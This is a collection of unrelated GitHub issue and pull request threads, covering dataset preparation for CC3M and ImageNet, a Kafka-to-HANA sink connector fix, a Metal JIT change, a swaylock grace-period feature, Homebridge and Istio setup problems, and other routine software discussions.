Following the instructions in https://github.com/rom1504/img2dataset/blob/main/dataset_examples/cc3m.md, I downloaded the CC3M dataset with *.parquet *.json *.tar files.
I got a 500M .tsv file Train_GCC-training.tsv, while the training script needs a Train_GCC-training_output.csv file. I wonder the relationship between them.
Then I run the training code, getting error

KeyError: 'filepath'

I reset the params in params.py: --csv-img-key url --csv-caption-key caption, and get error

FileNotFoundError: [Errno 2] No such file or directory: 'https://ak7.picdn.net/shutterstock/videos/1392223/thumb/1.jpg'

This is my first time using these kinds of datasets, could you please share some experiences about how to utilize the CC3M dataset and which parts of the code should I change?

@flashingtt  Thank you very much for your interest in my work!
To process the CC3M dataset, you first need to confirm that the download type is in folder form. Here is the example of my download command: XXX.
img2dataset --url_list Train_GCC-training.tsv --input_format "tsv"\          --url_col "url" --caption_col "caption" --output_format webdataset\            --output_folder /tym/datasets/cc_3M/train/ --processes_count 16 --thread_count 64 --image_size 256\              --enable_wandb True
Then, you need to process the dataset into the input form required for training: [filepath, ...]. This is an example code of mine:
    csv_list = []
    for root, dirs, files in tqdm(os.walk(data_path)):
        for file in files:
            if file[-4:] == ".jpg" and file[:2] != "._":
                filepath, txt_file_path = os.path.join(root, file), os.path.join(root, file[:-4]+".txt")
                title = read_txt_file(txt_file_path)
                csv_list.append({"filepath":filepath, "title":title})
                # print(img_path)
    # save
    df = pd.DataFrame(csv_list, columns=["filepath", "title"])
    df.to_csv(save_file_path, index=False, sep="\t")
    print("Saved to", save_file_path)

I will continue to update the complete processing and training steps after I finish my current work to contribute to the community. If you find it useful, feel free to Star my repo~

@Pter61 I've Starred your repo and thank you very much for your guidance. It worked! Now, I can successfully introduce the CC3M dataset during the training stage.

@Pter61 Hi, here I am again. I have one more question about the ImageNet dataset. I can download the imagenet-r data from the link https://github.com/hendrycks/imagenet-r, which includes two folders: imagenet-r and blurry_images. But the structure of the dataset shows that there is a folder named "real", it is a dataset for validation. I try to download the val_images of ImageNet from the huggingface, which contains 50000 images with a memory of 6.2GB. While the imgnet_real_query.txt shows the path of validation images should be the type of "imgnet/real/nxxxxxxxx/ILSVRC2012_val_xxxxxxxx.JPEG id". Now I only have 50000 images with the names "ILSVRC2012_val_xxxxxxxx.JPEG". I wonder how to get the "real" folder like the structure indicated.

@flashingtt  Hi, I remember I downloaded it from this link: https://people.eecs.berkeley.edu/~hendrycks/blurry_images.tar, where under ImageNet-R's GitHub repository. Just change the file name to real.
I can’t remember clearly. If you have any questions, feel free to comment~

@flashingtt I checked the notes of my implementation. At that time, I wrote a code to organize this data set. The function is as follows:
def split_images(path, save_path):

    query_file_path = os.path.join(path, "imgnet_real_query.txt")
    img_path = os.path.join(path, "imgnet_val_2012")

    with open(query_file_path, "r") as f:
        query_lines = f.readlines()
    # print(type(txt))
    for query_line in tqdm(query_lines):
        # print(query_line.split(' ')[0].split('/'))
        img_folder, imgname = query_line.split(' ')[0].split('/')[2], query_line.split(' ')[0].split('/')[3]
        # print(img_folder, imgname)
        src_path = os.path.join(img_path, imgname)
        tgt_path = os.path.join(save_path, img_folder)

        assert os.path.isfile(src_path)
        check_folder_exist(tgt_path)
        shutil.copy(src_path, tgt_path)
        # print(src_path, "\n", tgt_path)

   print("Done!")

@Pter61 Ah, I see. The structure of my downloaded ImageNet validation set still differs from yours. But now I can organize them inspired by your code. Honestly speaking, I ignored the split_real.py in your repo and it's my fault. Thank you very much again~


Sink Connector with key.converter=org.apache.kafka.connect.storage.StringConverter expecting schema at HANASinkRecordsCollector

Hi,
think i have a kind of similar problem as on Issue #125 where the sink connector is not working properly.
I have the configuration with the keys converted with org.apache.kafka.connect.storage.StringConverter and the values converted with io.confluent.connect.avro.AvroConverter.
When running the connect-standalone commandline i get the exception
[2022-08-30 16:02:05,830] DEBUG [sap_kafka_connector|task-0] [Consumer clientId=connector-consumer-sap_kafka_connector-0, groupId=connect-sap_kafka_connector] Received successful Heartbeat response (org.apache.kafka.clients.consumer.internals.ConsumerCoordinator:1180)
[2022-08-30 16:02:06,213] INFO [sap_kafka_connector|task-0] PHASE - 1 ended for task, with assigned partitions [erp.nav.local.variantSalesPriceChanged-0, erp.nav.local.variantSalesPriceChanged-4, erp.nav.local.variantSalesPriceChanged-3, erp.nav.local.variantSalesPriceChanged-2, erp.nav.local.variantSalesPriceChanged-1, erp.nav.local.variantSalesPriceChanged-5] (com.sap.kafka.connect.sink.hana.HANASinkTask:56)
[2022-08-30 16:02:06,213] ERROR [sap_kafka_connector|task-0] WorkerSinkTask{id=sap_kafka_connector-0} Task threw an uncaught and unrecoverable exception. Task is being killed and will not recover until manually restarted. Error: Cannot list fields on non-struct type (org.apache.kafka.connect.runtime.WorkerSinkTask:609)
org.apache.kafka.connect.errors.DataException: Cannot list fields on non-struct type
at org.apache.kafka.connect.data.ConnectSchema.fields(ConnectSchema.java:179)
at com.sap.kafka.connect.sink.hana.HANASinkRecordsCollector.add(HANASinkRecordsCollector.scala:124)
at com.sap.kafka.connect.sink.hana.HANAWriter.$anonfun$write$2(HANAWriter.scala:56)
at com.sap.kafka.connect.sink.hana.HANAWriter.$anonfun$write$2$adapted(HANAWriter.scala:44)
at scala.collection.IterableOnceOps.foreach(IterableOnce.scala:563)
at scala.collection.IterableOnceOps.foreach$(IterableOnce.scala:561)
at scala.collection.AbstractIterable.foreach(Iterable.scala:919)
at scala.collection.IterableOps$WithFilter.foreach(Iterable.scala:889)
at com.sap.kafka.connect.sink.hana.HANAWriter.write(HANAWriter.scala:44)
at com.sap.kafka.connect.sink.GenericSinkTask.put(GenericSinkTask.scala:36)
at org.apache.kafka.connect.runtime.WorkerSinkTask.deliverMessages(WorkerSinkTask.java:581)
at org.apache.kafka.connect.runtime.WorkerSinkTask.poll(WorkerSinkTask.java:333)
at org.apache.kafka.connect.runtime.WorkerSinkTask.iteration(WorkerSinkTask.java:234)
at org.apache.kafka.connect.runtime.WorkerSinkTask.execute(WorkerSinkTask.java:203)
at org.apache.kafka.connect.runtime.WorkerTask.doRun(WorkerTask.java:188)
at org.apache.kafka.connect.runtime.WorkerTask.run(WorkerTask.java:243)
at java.util.concurrent.Executors$RunnableAdapter.call(Unknown Source)
at java.util.concurrent.FutureTask.run(Unknown Source)
at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
It looks like even though the key is with the StringConverter, the keySchema is not null, but it has no fields attached to it.
i have tried and changed line 123 from
  if (recordSchema.keySchema != null) {

to
  if (recordSchema.keySchema != null && recordSchema.keySchema.name() != null) {

and line 63 from
if (recordSchema.keySchema != null) {
to
if (recordSchema.keySchema != null && recordSchema.keySchema.name() != null) {

that worked and i could sink the values into the hana db.
can you perhaps check if i could have changed my configuration to get this working?
Or is this something that needs to be enhanced for the
key.converter=org.apache.kafka.connect.storage.StringConverter
Kind Regards and thanks for the help

I added a similar but more explicit condition to inspect the schema. The fields are inspected only when the associated schema is structured schema.
https://github.com/SAP/kafka-connect-sap/pull/135
Am I correct that you were getting this error only from the keySchema part? I think the valueSchema should be a structured schema that has one field when the original data is retrieved from a collection/json table.

Hi, i have tested with my configuration and it worked now. Yes the exception was from the keySchema, as this one was converted with org.apache.kafka.connect.storage.StringConverter. The key schema was actually a avro schema.
Thanks for your help


Fix flaky test JSONDocApiAuthBuilderTest#testApiAuthToken

The test JSONDocApiAuthBuilderTest#testApiAuthToken compares the result of apiDoc.getAuth().getTesttokens() to a hard-coded string based on a specific order of entries in HashSet. However, these classes do not guarantee that order, and the assertion can fail if the order differs.
The PR uses LinkedHashSet to make the order deterministic.

Thank you!

Thank you!


feature/GEODE-9828: support SDIFFSTORE command

For all changes:

[x] Is there a JIRA ticket associated with this PR? Is it referenced in the commit message?

[x] Has your PR been rebased against the latest commit within the target branch (typically develop)?

[x] Is your initial contribution a single, squashed commit?

[x] Does gradlew build run cleanly?

[x] Have you written or updated unit tests to verify your changes?

[NA] If adding new dependencies to the code, are these dependencies licensed in a way that is compatible for inclusion under ASF 2.0?

Had to force update to get the latest commits.

Ran integration test for SDIFF rather than SDIFFSTORE. The last commit does not resolve the issue. Still working on it.

Had to force push to rebase and get latest commits

Forced push to get latest commits


Add Quantized Ops to the JIT

Also add some utilities that reduce the boilerplate when defining Metal kernels (with and without JIT).
Instead of rewriting the whole function template again when we instantiate it, we use:
 template [[host_name(name)]] [[kernel]] decltype(func<a, b, c>) func<a, b, c>;
This makes the preprocessor instantiations in the .metal files more succinct.
Also when we're adding a JIT for an op, we can now use a generic function to get the template instantiation:
get_template_definition(name, func, ...template_args)
This removes the need to make instantiation strings in metal/jit/<op>.h.
Let me know if this obfuscates things too much.
I converted the FFTs to this pattern as a test run and I think it came out a bit cleaner.
Benchmarks (M1 Max)
I ran a quantized LLM with the JIT on and off and it seemed like the initial prompt time was very similar between the two (note: there was quite a lot of variance between the runs).
JIT
Prompt: 138.470 tokens-per-sec
Generation: 55.092 tokens-per-sec

No JIT
Prompt: 136.970 tokens-per-sec
Generation: 55.145 tokens-per-sec

I also manually measured the run time of fetching the quantized kernels on the cold start and it was around 0.2 milliseconds which is probably pretty acceptable as a one time cost?

The way you do the instantiations and JIT is a really nice improvement! I don't think its too obfuscated.


doc: fix the router_check_tool's doc

Commit Message: doc: fix the router_check_tool's doc
Additional Description:
Fix the format of yaml example and remove the confusing description about the availble values of method field.
Risk Level: low
Testing: n/a
Docs Changes: n/a
Release Notes: n/a
Platform Specific Features: no
Fixes #19223
Signed-off-by: He Jie Xu<EMAIL_ADDRESS>

@phlax thanks for the review!


Replace samples/vision_inference with a Python script + README.

Also remove image_util and third_party/stblib, which were only used for the C code in that sample.
Progress on https://github.com/google/iree/issues/9374

🤤


Add support for showing producer provided and protected fields

Problem

Add support for showing producer provided and protected fields
A new version of the OFF website has been deployed. It contains in particular a change to the product edit form, to highlight which values have been provided by the manufacturer. Those values can be changed only by moderators, but previously it was not indicated and that caused users to waste time and efforts trying to change things that could not be changed. e.g. reported on the forum: https://forum.openfoodfacts.org/t/some-products-cannot-be-modified-vendor-lock/594
It's this field https://fr.openfoodfacts.org/produit/3017620425035/nutella-ferrero.com?fields=owner_fields
On the other hand it contains tag type fields, they must be ignored because the value could have changed afterwards and it is not protected

Mockups

Part of

#503

Related forum post: https://forum.openfoodfacts.org/t/auchan-tourteau-fromage-invalid-serving-size/613/4

Waiting for: https://github.com/openfoodfacts/openfoodfacts-dart/issues/956

I don't know how we are supposed to display the "owner fields".

current display
display with "owner locked" fields

something we've never done is a replicate the product edit history you have at the bottom of the product page in the web version.
in the web the product owner is displayed in a warning tooltip (some of the database product has been provided by the producer blah)
I would believe that all of this should be less prominent than on the web version and possibly at the bottom of the page or in a special tab if we follow the proof of concept design.


Add --grace period for short password free unlock

This is mostly from swaylock-effects.
When the screen is just starting to lock it can still be unlocked
without a password by pressing a button or moving the mouse during the
time specified by --grace.
Unlocking with mouse can be switched off with the argument
--grace-no-mouse.
Signed-off-by: Pascal Jäger<EMAIL_ADDRESS>

@mstoeckl Maybe you could change your mind and accept this PR? This is great feature that allows to use swaylock-plugin as simple screensaver.

No, sorry. My opinion from comment https://github.com/mstoeckl/swaylock-plugin/pull/9#issuecomment-1865295491 remains unchanged. If you want to have this combination of features you should maintain a fork, build from one which has them (like e.g. Shievel1:main), or persuade upstream swaywm/swaylock to add --grace (although that is unlikely to succeed -- they've rejected it in the past).

Sorry, I'm not interested in adding any new features:

I have changed my mind, because:

Upstream swaylock rejected a grace period because the feature is complicated and there are simple alternatives (run a layer shell program that launches swaylock when the grace period ends); however, for swaylock plugin, I do not see a simple way to transition from unlocked to locked states while preserving the background process state. Also, since ext-session-lock was added, the lockscreen crashing is finally no longer a major security issue and thus complexity is no longer as big of a problem.
I wanted to use a grace period feature on one computer.

That being said, I don't like the swaylock-effects approach to a grace period (it has no way to cleanly end the grace period early) so I've made my own, with a slightly different command line interface.


Fix Time

Summary
Provide a general description of the code changes in your pull
request... were there any bugs you had fixed? If so, mention them. If
these bugs have open GitHub issues, be sure to tag them here as well,
to keep the conversation linked together.
Other Information
If there's anything else that's important and relevant to your pull
request, mention that information here.
Thanks for contributing to the Watson Developer Cloud!

Codecov Report

Merging #644 into NLU will increase coverage by 59.66%.
The diff coverage is 78.17%.

@@             Coverage Diff             @@
##              NLU     #644       +/-   ##
===========================================
+ Coverage   10.68%   70.34%   +59.66%
===========================================
  Files         236      101      -135
  Lines       18171     6833    -11338
===========================================
+ Hits         1941     4807     +2866
+ Misses      16230     2026    -14204

Impacted Files
Coverage Δ

Tests/DialogV1Tests/DialogTests.swift
77.36% <ø> (+77.36%)
:arrow_up:

Source/RestKit/RestToken.swift
0% <0%> (ø)
:arrow_up:

...ource/ConversationV1/Models/CreateDialogNode.swift
0% <0%> (ø)

...ests/AlchemyVisionV1Tests/AlchemyVisionTests.swift
21.75% <100%> (+21.75%)
:arrow_up:

...onV1/Models/CounterexampleCollectionResponse.swift
27.27% <27.27%> (ø)

...rsationV1/Models/WorkspaceCollectionResponse.swift
27.27% <27.27%> (ø)

...versationV1/Models/ExampleCollectionResponse.swift
27.27% <27.27%> (ø)

...nversationV1/Models/IntentCollectionResponse.swift
27.27% <27.27%> (ø)

...e/ConversationV1/Models/IntentExportResponse.swift
28.57% <28.57%> (ø)

...ce/ConversationV1/Models/ValueExportResponse.swift
28.57% <28.57%> (ø)

... and 225 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2439c24...ca01424. Read the comment docs.


[Feature]: Support database vacuum

Describe the Feature Request
https://github.com/ChuckPa/PlexDBRepair
Above project has the ability to perform a "vacuum" on the database and perform a "Reindex" of the database. Can Plex-Image-Cleanup support this too?
Some documentation from Plex regarding Vacuum....and it appears that is what PlexDBRepair project is doing.
https://support.plex.tv/articles/repair-a-corrupted-database/

Probably could but in my opinion this function is outside the scope of this project.


Example links 404

Hi folks – awesome project (and we're exploring using it to replace the Jupyter notebook interfaces in our microbial genomics platform)!
I wanted to flag that the example links all seem to 404 on Binder (as of 1/21/19). After clicking about the view a bit, I can get to a version that'll render in Binder, but it's doing so in a vanilla Jupyter notebook.
Didn't have a chance to dig in much further, but hopefully it's either a temporary issue or a simple URL change. 🤞

The /nteract route is not available once demo links are launched. See binder docs for details.
See example project that has nteract available in binder.

See #23


Add separate infrastructure metric set

I confirm that this contribution is made under the terms of the license found in the root directory of this repository's source tree and that I have the authority necessary to make this contribution on behalf of its copyright owner.

@olaaun Please review this carefully

Include athenz.request.error in ControllerMetrics?

This broke some internal system tests

This broke some internal system tests

Fixed test


Sequence Viewer truncates sequences, but scrolls overview.

MSA trims the sequences.
Full-screen support would be helpful for the screen.

Agree, would be nice if we could force it to use a single interface (truncate+local scrolling OR global scrolling).


Collaborative Robotics Development

The Story
Over cloud IDE and virtual desktop, users should develop ROS 2 software online and collaboratively.
Parent Story

robolaunch/robolaunch#39

Migrated to https://github.com/robolaunch/robot-operator/milestone/5.


Added support for automatic DO id generation in DurableObjectNamespace.

May not be backwards compatible if someone had an empty string as "name" on their durableobject...


Add metadata_dir_force to fill_in_metadata_configs

Is your feature request related to a problem? Please describe.
metadata_dir_force doesn't proliferate to metadata_configs
Describe the solution you'd like
It can be added in the fill_in_metadata_configs validator
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

Closed by https://github.com/AllenNeuralDynamics/aind-data-transfer-models/pull/33


Cannot find module 'astro-i18next/components'

Hi, just checking Astro for the first time. And looks like your module is missing astro-i18next/components export:

Thanks for reporting this! Tried to fix it before but it gave me a hard time, not sure how to get it right.
For context: the package.json includes an export for the /components path and importing/using the components works fine. But the issue is with typescript not detecting the module somehow, thus the error.
Also, a few things don't work because of this, like the Ctrl/Cmd + click to go to the component's type definition (intellisense).
Here's the package.json export:

Tried a few things, mainly changing the exports like here: https://stackoverflow.com/a/70020984/8926095
There's also a related issue on typescript: https://github.com/microsoft/TypeScript/issues/33079
I'll have to do more research, I'll try again soon.

Maybe you need to export ./dist/components/index.mjs?

I tried that but the components don't render when doing so 😕
I think I over complicated things, I'm compiling the .ts files to .js but astro has built-in support for Typescript anyways so that's useless. From there I think I'll have better chance to get the exports and intellisense working.


Moas jump after landing if the jump button is pressed whilst flying

If you jump whilst riding on a gliding moa, the moa jumps as soon as it reaches the ground

Bumped, still present in 1.6.0


How to get each frame's timestamp?

My camera is 10black, and I want to obtain the timestamp corresponding to each frame of the image. How can I get it? Is there any demo？

The demo code in this repo extracts timing.


update discovered cache with WebSocket message from controller

 update discovered cache with WebSocket message from controller light-4j master


get_matches fails for Coma when the column has special characters

Hello,
I ran Valentine with the Coma matcher
valentine_match(df1, df2, Coma(strategy="COMA_OPT"))
for a dataset which contains columns with special characters like:
1:00-2:00AM (that is actually the name of the column)
and the code failed here:
https://github.com/delftdata/valentine/blob/37b31035753a1324eafba02bb15f512219055dad/valentine/algorithms/coma/coma.py#L76

Hi,
When i try to ran Valentine using the example.py, since my system is Window11, I got an error like this

Sorry, I solve this problem by install WSL

Hi, do you have java (jre) installed?
On Tue, Oct 11, 2022 at 2:49 AM ZENG ZHITAO @.***>
wrote:

Hi,
When i try to ran Valentine using the example.py, since my system is
Window11, I got an error like this
[image: image]
https://user-images.githubusercontent.com/54173334/194973707-1b10236e-f69f-4f33-af8d-1727514991d4.png
—
Reply to this email directly, view it on GitHub
https://github.com/delftdata/valentine/issues/42#issuecomment-1273951733,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AFQ2EOZUJB3KZTCKE2KVIJ3WCS2TNANCNFSM6AAAAAAQ6XLGVI
.
You are receiving this because you were assigned.Message ID:
@.***>

After the colon fix : I tested with all special characters, and the only one that could still cause an issue is . and <-> as a single word. Closing this for now.


homebridge-govee requires Node.js version of ^14.20.1 || ^16.18.0 || ^18.11.0, doesn't match node version in the docker container: v16.15.0.

What issue do you have? Please be as thorough and explicit as possible.
When I start homebridge I see the warning message:
The plugin "homebridge-govee" requires Node.js version of ^14.20.1 || ^16.18.0 || ^18.11.0 which does not satisfy the current Node.js version of v16.15.0.

It doesn't appear to hurt anything, but I'd like to make the warning go away. The version of nodejs is controlled by the homebridge docker image and I "can't" change it.
Can homebridge-govee adjust the version requirements to avoid that warning, or otherwise resolve whatever incompatibility that lead to the higher version requirement?
Details of your setup.
Here's my docker-compose.yml:
version: '3.0'
services:
  homebridge:
    image: oznu/homebridge:ubuntu
    container_name: homebridge
    restart: always
    network_mode: host
    privileged: true
    environment:
      - TZ=America/Phoenix
      - PGID=1000
      - PUID=1000
      - HOMEBRIDGE_CONFIG_UI=1
      - HOMEBRIDGE_CONFIG_UI_PORT=8080
    volumes:
      - ./homebridge:/homebridge
      - /run/dbus:/run/dbus:ro

Which version of Homebridge/HOOBS do you have?

1.5.1

Which platform do you run Homebridge/HOOBS on (e.g. Raspberry Pi/Windows/HOOBS Box)? Please also mention your version of Node.js/NPM if known.

This is running in docker on a linux box running ubuntu.

Which version of this plugin (homebridge-govee) do you have? Has the issue started since upgrading from a previous version?

I think I've seen this with every version I've tried. I'm running version 7.1.1 at the moment.

Which Govee devices do you have that are causing issues? Please include product models if applicable.

N/A

Hi @wez
I understand you don't want to see the warnings, but there will be no issues with whichever node version you have.
I keep my package.json engine node versions up to date partly for user awareness to keep user node versions up to date.
For me, it is good practice to keep node up to date just like any plugin.
However, it does mean that if you are on a system where you cannot update, the warning will appear. But it is just a warning, which you can disregard.


:white_check_mark: Test(actions): more test coverage

Description
Concise description of proposed changes
Testing
Explain the quality checks that have been done on the code changes
Additional Information

[ ] I read the contributing docs (if this is your first contribution)

Your ENS/address:

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#1455  👈
#1454
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @roninjin10 and the rest of your teammates on  Graphite


How to deploy application?

Now that I have my brand new web application printing "Hello World!", I'd like to deploy it.
I could not find any instruction how can I do it or what is the recommended way to do it.
It would be nice to add such information to the README or to the documentation.

I do not think recommendations on application deployment are within the scope of this project. Your application code (that depends on rouille among others) produces a binary when compiled. At this point it does not matter if you use rouille or axum or any other web framework in your code. You just run it like any other binary.
That being said: Maybe I totally misunderstand your question?

I am sure there are many ways to deploy any web application.
My point is that it can be useful for the project to show one or more such ways.
Maybe as part of a tutorial.
For example would you deploy it stand alone as a web server or would you put it behind an nginx reverse proxy.
Would you handle static file (e.g. images) by the application or by nginx, if there is one?
Once I wrote a blog post on how to convert any executable to a service I think something along those lines would help to get people started.


purchaseInvoices in URLs

Please use purchaseInvoices({invoiceid}) instead of purchaseinvoice({invoiceid}) in all URLs.

Document details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 6951bc4a-152d-533e-a5af-e1694e7460fb
Version Independent ID: f8e70ff6-d125-90fb-f042-022dd75516fb
Content: Post purchase invoices - Dynamics NAV
Content Source: dynamics-nav/fin-graph/api/dynamics_purchaseinvoice_post.md
Service: dynamics365-financials
GitHub Login: @SusanneWindfeldPedersen
Microsoft Alias: solsen

fixed


Issue forbidden attr

Work with forbidden attributes with new PyBossa API directives.

looks good overall. maybe bump the version?

:cake:

I did already :-)

yes sorry, I was only looking at the tags


feat: VSCode/IntelliJ support for DartFrog

Description
As mentioned in the roadmap, it includes the support for VSCode/Intellij Plugin. I am adding this issue as I think I'll be happy to contribute to this.
Requirements
From the roadmap points: The extensions will include

[x] Create a new project
[x] New Routes
[x] New Middleware
[x] Attach Debugger

Additional Context
I'll be very excited and happy to contribute to this project in any way possible, and this proposal fits me quite well.
Thanks for the great package!

Hi @iamsahilsonawane 👋
Thanks for opening an issue!
I would recommend holding off on working on this issue until #260 is done so that the extensions can leverage the CLI and we don’t need the maintain duplicate implementations. Thanks so much for the enthusiasm and support!

Sure will wait.
Let me know if I could start working on this once the CLI with those commands ready!
Thanks 👍

Sure will wait.
Let me know if I could start working on this once the CLI with those commands ready!
Thanks 👍

Yes, definitely! 💯

Is there currently no way to attach the vscode debugger to the dart_frog process?

I don't think there is.
@felangel when can we start on this?

@rlimberger yes you can copy the dev tools URL (you’ll see it when you run dart_frog dev) and use the Dart Attach to Process command, paste the url (but you’ll need to remove the url fragment (#)).
We are working on making this simpler but the above steps should work in the meantime. Hope that helps!

@felangel not sure what you're saying about Dart Attach to Process command I don't have such command on IntelliJ.

A Dart Frog VS Code extension is now available at the VS Code Marketplace :partying_face:.
The current published version supports the ability to create a new project, a new route and a new middleware. The next published version will allow attaching a debugger, see https://github.com/VeryGoodOpenSource/dart_frog/pull/955. Therefore, I'm now closing this issue in favour of feat: IntelliJ extension support #775 to target exclusively IntelliJ support.


An error occurs when selecting 'Add Message' for a queue

Storage Explorer Version: 1.8.1_master_20190610.4
Platform/OS: Linux Ubuntu/macOS High Sierra/Windows 10
Architecture: ia32/x64
Regression From: Previous release(1.8.1)
Steps to reproduce:

Expand a storage account -> Queues.
Create a new queue and select "Add Message".

Expect Experience:
Pop up the "Add Message" dialog.

Actual Experience:
Pop up an error dialog.

Fix merged into master.

This issue reproduces on feature\main-host branch 20190614.4. So we re-open it.

We just need to merge master into the feature branch.

Verified this issue on build feature/main-host 20190624.2. It has been fixed. So we close it.


.put() method ignoring id param for URL build

I have this code to reproduce what I consider an issue
var app = angular.module('myApp', ['restangular']);

    app.controller('MainCtrl', function ($scope, Restangular) {
    var resource = Restangular.one('customers', '123');

    resource.get().then(function(resp) {
    var result = resp;
    });

    function getUrl() {
    resourceUrl = resource.getRestangularUrl();
    // returns /customers/123
    resultUrl = resource.getRestangularUrl();
    // returns /customers
   }

});

NOW, If I add the id parameter to the returned object when resource.get()
// HACK
result.id = '123';`

Result:
resourceUrl = resource.getRestangularUrl();
// returns /customers/123
resultUrl = resource.getRestangularUrl();
// returns /customers/123

Is this a normal behavior, or could be considered as an issue?
Regards,
Alirio.

@aliriocastro I wrote some unit tests to try to reproduce the problem and it seems that if the server doesn't respond to your .get() request with an object containing the id, you get an empty id in the URL from getRestangularUrl().
So let's say you request GET /accounts/123 and the server responds with {"name": "Account123"}, i.e. a JSON object without id property. Now the resulting Restangularized element won't have an ID since the response object doesn't have one and the getRestangularUrl() method will only return /accounts.
The unit tests always succeed when there's an id property in the response JSON matching the request.
Does this explain the behavior you're experiencing?


⚠ Cioos Pacific CKAN has degraded performance

In 947fad9, Cioos Pacific CKAN (https://catalogue.cioospacific.ca) experienced degraded performance:

HTTP code: 200
Response time: 10892 ms

Resolved: Cioos Pacific CKAN performance has improved in 5c5ffc3 after 16 minutes.


Add PSR-4 autoloader for tests

This issue was discovered via PHPstan in #17 .
We already have the namespaces defined in every test in the tests folder, so it makes sense to define the namespace via composer itself.

 Changed it.


No Tye equivalent for the command property in a docker file

Describe the bug
Tye does not currently support the command property.
services:
  config:
    image: "steeltoeoss/configserver:1.3.2"
    command: --spring.profiles.active=native --spring.cloud.config.server.native.searchLocations=/config
    volumes:
      - type: bind
        source: ./src/config
        target: /config
    ports:
      - "8888:8888"

To Reproduce
I am looking for the equivalent of command in a docker file.

There is, it's called args.

args appends to the entrypoint, command replaces it. Docker is complicated 😆

Errrr

I guess the real answer is that it depends how the dockerfile was authored. Fun.
https://docs.docker.com/engine/reference/run/#overriding-dockerfile-image-defaults


WIP: Patient logger class

Hey @pchlap, I'd had a go at implementing what a patient summary logger may look like. I've implemented it for the Convert module, it can be extended to the downstream modules (visualise and dataset) which is probably where it'll show its greatest gains. What do you think of it and its extensibility? Thanks :)

Hi @dalmouiee, sorry for the slowness in getting to this review.
This is looking really good. But it looks like this only logs when there is an error? Would we also be able to log successful operations? This would help us know for which patients we still have issues since we might run once and fail then correct the issue and run again and pass.
Another data point that would be useful here is to log the runtime. If we could have this data in our log it would help us in estimating the conversion time etc of future datasets.
Finally, it would also be good to log which piece of data the log actually refers to. So if there is an error we can easily find that object. So an additional column tracking the "hashed_uid" (or whatever we call it) would be useful. If we have the hashed_uid, then we could pull the path from the converted.csv log.
So I suppose the columns of the log could be:
* module

* hashed_uid

* success (boolean flag)

* error (blank if no error)

* start time

* end time

What do you think?

Great idea! That'll will definitely make it more informative and helpful for those edge case patients and subsequent dataset prep steps. I'll add those in and get your feedback on it :)

Hi @pchlap, I've updated with your suggestions. I've tested this on the test dataset but keen to run this on ICCC breast data and see how it plays out. Let me know what you think :)

Thanks @dalmouiee. Looks great. One minor comment I'd make is that some lines of code could probably be reduced by moving the start and end time calculation logic into the PatientLogger class. Like if we define the behavior as being on patientLogger init, start time is captured. Then an error is logged or the module logs its finish then the end time is determined in that function call. What do you think?
Up to you if you want to make that change now or not. But I'll leave my approval, happy to merge this through and for you to test it at ICCC. Longer term would be good to make sure this is tested in our testing suite but happy for that to be added at a later time (planning on a bit of a clean-up of the entire code base in the coming weeks where hopefully we can add tests which are missing across the library).
Great stuff though, thanks!

Awesome, I've made that change thanks for the suggestion. I'll go ahead and merge this now to test at ICCC next. Definitely keen to add this to the testsuite on that testdata!


How to send json?

not multipart/form-data

I'm sorry, but this isn't configurable at the moment.
On Sep 30, 2016 10:12 AM, "hotrush"<EMAIL_ADDRESS>wrote:

not multipart/form-data
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/cklmercer/vue-laravel-forms/issues/3, or mute the
thread
https://github.com/notifications/unsubscribe-auth/AFW8fPUzEIqBZPG_Zd4jrCzpZCXNP2ABks5qvSapgaJpZM4KLMXP
.

it's a pity, i want to send an array of ids, but comma-separated values looks weird. thanks

The Illuminate\Http\Request class should be able to turn that into an
array for you. That or you can use explode() and collect(). Sorry for
the inconvenience.
On Sep 30, 2016 10:17 AM, "hotrush"<EMAIL_ADDRESS>wrote:

it's a pity, i want to send an array of ids, but comma-separated values
looks weird. thanks
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/cklmercer/vue-laravel-forms/issues/3#issuecomment-250771748,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AFW8fH_jsztlSBXVvg9fhlK2N1-p31_Mks5qvSfxgaJpZM4KLMXP
.

using explode, seems it does not convert automatically


LAS (E)VLR support

Read support is commited.
Extrabytes (e)vlr are interpreted and added to the schema.


"Please port forward 7777 UDP and ensure the firewall settings are correct"

I keep getting this message in the launcher but, I have it port forwarded and it was working. Recently my wifi turned off and I had to pay the bill so I did and all of a sudden its not working anymore I checked my device IP to see if anything changed in the port forwarding on my router but nothing changed. Its still saying it even though I have 7777 port forwarded with UDP please help me I dont want to lose all my progress on my server.

Most likely your Public IP changes when you didn't have internet from lack of payment. Either way, not an AstroLauncher issue.


Failed ： istioctl isntall  --set profile=demo

Bug Description
Istiod : Readiness probe failed
Ingress gateways,Egress gateways  cannot create pod
Version
istioctl version
istioctl 1.13.0

kubectl version --short
Client Version: v1.21.10
Server Version: v1.21.10

Additional Information
my kubernetes cluster model:
Master Node: master1,master2
Work Node: node1, node2
cluster model create by
kubeadm init --apiserver-advertise-address <IP_ADDRESS> --image-repository registry.aliyuncs.com/google_containers --kubernetes-version v1.21.10 --pod-network-cidr  "<IP_ADDRESS>/16"   --service-cidr  "<IP_ADDRESS>/12"  --control-plane-endpoint "k8smaster1"
k8s CNI is calico

can you shared more info?
any log from istiod and also kubectl describe rs -nistio-system  <istio-ingressgatew-xxxxx replace with the real name>

Infomation More：
【1】[root@k8smaster1 istio-1.13.0]# kubectl describe pod istiod-7586c7dfd8-4qtjk  -n istio-system
Events:
Type     Reason     Age                  From               Message

Normal   Scheduled  25m                  default-scheduler  Successfully assigned istio-system/istiod-7586c7dfd8-4qtjk to k8smaster2
Normal   Pulling    25m                  kubelet            Pulling image "docker.io/istio/pilot:1.13.0"
